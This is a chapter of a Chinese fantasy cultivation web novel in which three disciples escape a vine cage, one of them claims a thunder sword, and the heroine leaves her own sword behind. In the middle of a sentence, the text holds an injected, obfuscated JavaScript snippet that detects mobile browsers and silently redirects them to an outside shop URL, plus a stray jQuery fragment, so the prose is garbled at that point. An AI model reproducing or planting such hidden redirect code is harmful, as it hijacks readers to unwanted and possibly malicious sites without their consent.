藤笼是一定要破的,但是兰舟身在笼中,该怎么办呢?
不多时,左素过来汇报:“我沿着沼泽查探,在藤笼后方一丈,有一颗巨大的藤蔓,有几人合抱之粗,此外再无异样。”
兰舟心知这就是其本源藤蔓,对左素细细解释一番其中原理,又道:“切断这章藤蔓需要大量木灵气,你属金灵根,恐怕不行,需得等待片刻,我再想想其他办法。若实在来不及,你可先行一步,去主峰参加大比,替我向婆娑门师弟师妹解释一遍。”
谁知左素听了这话,反而斗志昂扬:“还等什么!再等下去,黄花菜都凉了。我就不信,拼尽全力,斩不断一颗藤蔓。”
“等等——”兰舟想叫他不必白费功夫,话刚出口,左素不耐,直接跑开。
笼外传来一下又一下又一下的击打声,是左素在尝试砍断藤蔓。
陆让淡淡开口:“左师弟好气力。”
兰舟知道他在讥讽左素只有蛮力不听劝告,她忍了又忍,最终还是没忍住,回嘴道:“起码他是为了破笼出力,比不得陆首席,什么也不做,尽说风凉话。”
陆让阴沉的脸色又黯淡几分。
兰舟手边的剑匣已不再震颤,她试探性打开锁扣,白露自匣中飞出,悬于空中。
碧波感应到白露,噌的一声脱离,欢喜地贴上白露。
好似并不全然排斥外界?
兰舟试探性挥出自己的灵气,但白露剑身灵光一闪,弹开蓝色灵力。
她在抵抗。
白露不排斥碧波,只是不愿接受自己而已。
兰舟认识到这个事实,无奈地将剑装回剑匣。
陆让瞧见这一幕,想说些什么,但想到之前她牙尖嘴利的言辞,还是默默咽下劝告的话语。
她意已决,多说无用。
兰舟扯了扯手腕上的缚灵锁,对陆让示意:“解开罢,这碍事玩意儿。反正我就在笼中,暂时也出不去。”
陆让没说话,兰舟在沉默中领会到他的态度,她也不恼,最后总会解开的,她就是随口提一嘴。
按他的性子,要是真解开缚灵索,她才会惊讶呢。
她耸耸肩,又开始思考破笼的办法。
还没等她想出什么结果,笼外攻击声忽然停止,兰舟皱眉,想问左素是否发生意外,却听他惊喜地喊道:“阿舟,我有办法了!”
办法?什么办法?
兰舟刚想追问,一阵惊天动地的雷声响起。
藤笼剧烈摇晃,兰舟在其中几乎控制不住身体,她将剑匣紧紧抱住。
须臾,笼壁裂开几条缝,越来越大,直到整个藤笼碎成几片。
阳光照射进来,刺的兰舟眯起眼睛。
地上横七竖八尽是枯萎的藤条。
兰舟有些不可置信——这么轻易就逃出来了?
陆让也略带惊讶,左素当真有本事破除藤笼?
“阿舟~我做到了!”
左素高呼一声,猛地扑过来。
兰舟只觉一团黑漆漆的物事,直奔自己而来,她大惊失色,就要甩出一道灵气,却听到那黑犬一般的生物,发出左素那熟悉的嗓音:“阿舟~”
天呐!这块黑炭竟然是左素!
愣神间,左素已至眼前,一股焦糊气味传来,她这才看清,他不是变黑,而是变焦了。
左素披头散发,衣袍破破烂烂,不,那称不上衣袍,只能说几片碎布料松散挂在身上,堪堪遮住要害。
裸露在外的肌肤焦黑一片,像被烈火灼烧后的痕迹。
兰舟顾不上询问他破笼过程,急切问道:“你、你怎么像是被雷劈了一般——”等等!她联想到刚刚的雷声:“你不会真的被雷劈了吧!”
左素点点头,粲然一笑,露出一口白牙。
兰舟只觉阳光太过强烈,晒得她有些头晕目眩,不然她怎么彷佛看见一条黑犬在对着自己微笑呢?
她扶额,低下头,脚下有些站不稳。
左素伸手就要扶她。
“住手!”兰舟见黑黢黢一只胳膊伸来,猛地后退两步,“别过来!”
许是她脸上嫌弃神色太明显,左素露出一副泫然欲泣的表情——该死,兰舟竟然还能在这黑乎乎的脸上看到表情——委屈道:“阿舟,我方才救你出来,你怎么就嫌弃我。”
兰舟不忍再看他这副尊容,打断道:“你先说说,怎么搞成这样了。”
陆让丢过来一席白袍:“成何体统!速速更衣。”
左素接过,他还记得之前在沼泽畔与陆让的交手,对着陆让,毫不客气地龇牙威胁。
天呐,更像黑犬了。
兰舟默默移开视线。
左素披上衣袍,略略收拾,看起来终于像个人了,他笑嘻嘻拍了拍腰间:“能救你出来,其实多亏这把剑!”
兰舟这才发觉他手上紧紧攥着的剑。
那剑表面也是黑乎乎一片,没个剑形。
左素道:“之前那藤蔓发疯时,我四处窜逃,这把宝剑不知道从哪飞出来,在我面前晃荡,我跟着它走,竟然发现一处中空的巨石,恰好能供一人躺平。”
“我又困又饿,竟然在那洞穴中睡着了,醒来就立马来找你,这把剑也消失不见,不知道去哪了。”
“等我问过你,又来砍藤蔓,但我的金灵气对那藤蔓丝毫没有作用,砍出的豁口立刻就被修复。如是砍了几百下,这宝剑不知怎么又窜出来。”
“我心想白来的剑,不用白不用,就随手试了试,剑刃将将碰到藤蔓表皮,就听轰隆一声,好大一道雷劈下,那破藤蔓登时就断啦。”
他越说越激动,忍不住摩挲黑乎乎的剑鞘。
陆让忽伸手道:“借我一观。”
左素抱起剑,警惕道:“做什么?又要抢?这是我的剑,它喜欢我。”
“给他。”兰舟开口。
左素不情不愿递出去,双眼紧紧盯着陆让的动作,生怕陆让蛮不讲理抢夺了去。
陆让横剑胸前,握住剑柄,用力一拔,没拔出来。
左素见状,得意道:“哼,我说它喜欢我吧,只有我能拔出来!”
陆让瞥他一眼,心道这样的傻小子是如何得到兰舟青眼的,但他没说出口,手上覆上寒冰灵气,再次握上剑柄。
随着他的动作,剑刃倾泻而出,灵光闪闪,隐约有细小雷电缠绕其上。
他指着剑刃上缠绕的雷电纹路道:“这是荣成大师早年作品,据说他锻成后甚是不满,直言此剑缺陷太大,故而赠予浮云宗剑冢,保存至今。”
“此剑锻造时加入不少玄雷石,与金系、雷系修者极其相合。”
左素本来还为他拔出宝剑、自己不是唯一而闷闷不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631959|206401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
乐,听见这话又高兴起来:“竟是荣成大师的作品!”
陆让继续解释:“嗜心藤能源源不断吸纳环境中灵气,修复自身,因此你起先砍不断它。常规处理是用大量木灵气灌注,超过其容纳上限,藤蔓自会炸开。”
“我猜测,你方才引动雷击,隔绝藤蔓与环境接触路径,藤蔓没法汲取养分,因此被你一刀砍断。”
陆让的视线在剑身与黑左素之间打了个转,神色古怪道:“你运气倒是很好。”
左素没想到竟会收到陆让的夸赞,其实他还在意之前陆让凶神恶煞的态度,但陆首席出言夸他,又耐心解释,显然是要化干戈为玉帛的意思,他不好意思再计较,也笑嘻嘻道:“我从小运势就好!给我看过相的前辈都夸我!”
兰舟却听出陆让的言外之意,他在说左素运势好,得到宝剑承认。
她不由想到自己剑匣中的那把剑——白露明晃晃地拒绝她的气息——心情登时如吃了个秤砣般沉下去。
白露识得碧波,自然能认出碧波中属于自己的气息,为什么还要抗拒她的灵力?
兰舟想不通。
陆让将剑递还,嘱咐道:“机缘难得,你当好好对它。”
左素先是震惊,再是疑惑:“你就这样还给我了?这是你们浮云宗的剑!”
“我们宗门向来尊重每一把剑。它既择你为主,便是你的。只是你须得同我往长老处走一趟,或许需要些手续。”
一番高尚道理,说的左素为自己阴暗的揣测羞愧不已,听见陆让的要求,他连连点头配合道:“都听你的。”
陆让便用缚灵索将他双手也套上。
诸事已了,左素催促:“我们快出去罢。”
快去浮云宗处给剑过个明路。他第一次得到这么真诚的认可,虽然是来自一把剑,但足够他回味许久。
左素爱惜地抚摸剑身,嘴角高高翘起。
“等等。”兰舟突然道。
两人齐齐看她。
“我还有一事。”
兰舟走到一颗大树前,打开剑匣。
白露接触到外界,剑身微颤。
“你果然还是更喜欢这里吗?”兰舟抚过剑身,低喃道。
白露震颤更盛。
兰舟取出剑,直直插进泥土里,再将剑匣摆在其旁。
“我们走吧。”她道。
左素有些摸不着头脑:“等等?剑?真的要走吗?”
兰舟肯定:“走吧。”趁我还没后悔。
左素犹疑。
陆让沉默旁观全程,定定看了兰舟几秒,忽然露出个浅浅的笑。
“走吧。”他也道。
几人被一根缚灵索串着,一个接一个迈步。
阳光炽热。
离开密林前,兰舟最后回望一眼。
这一路的灌木丛都被砍断,她一眼就瞧见那颗巨树下,层层幽绿之中的一点白露。
静静立在地里,一如来时那样。
她会在这里等候十年、百年,直到下一个有缘人出现,擦拭她,带走她,为她欣喜,握住她战斗。
像当初赋予她生命的花容那样。
“剑和人,都有自己的选择。只要无悔,便是圆满。”
容姐姐,这是你想要看到的选择吗?
兰舟收回视线,一脚踏入沙漠中。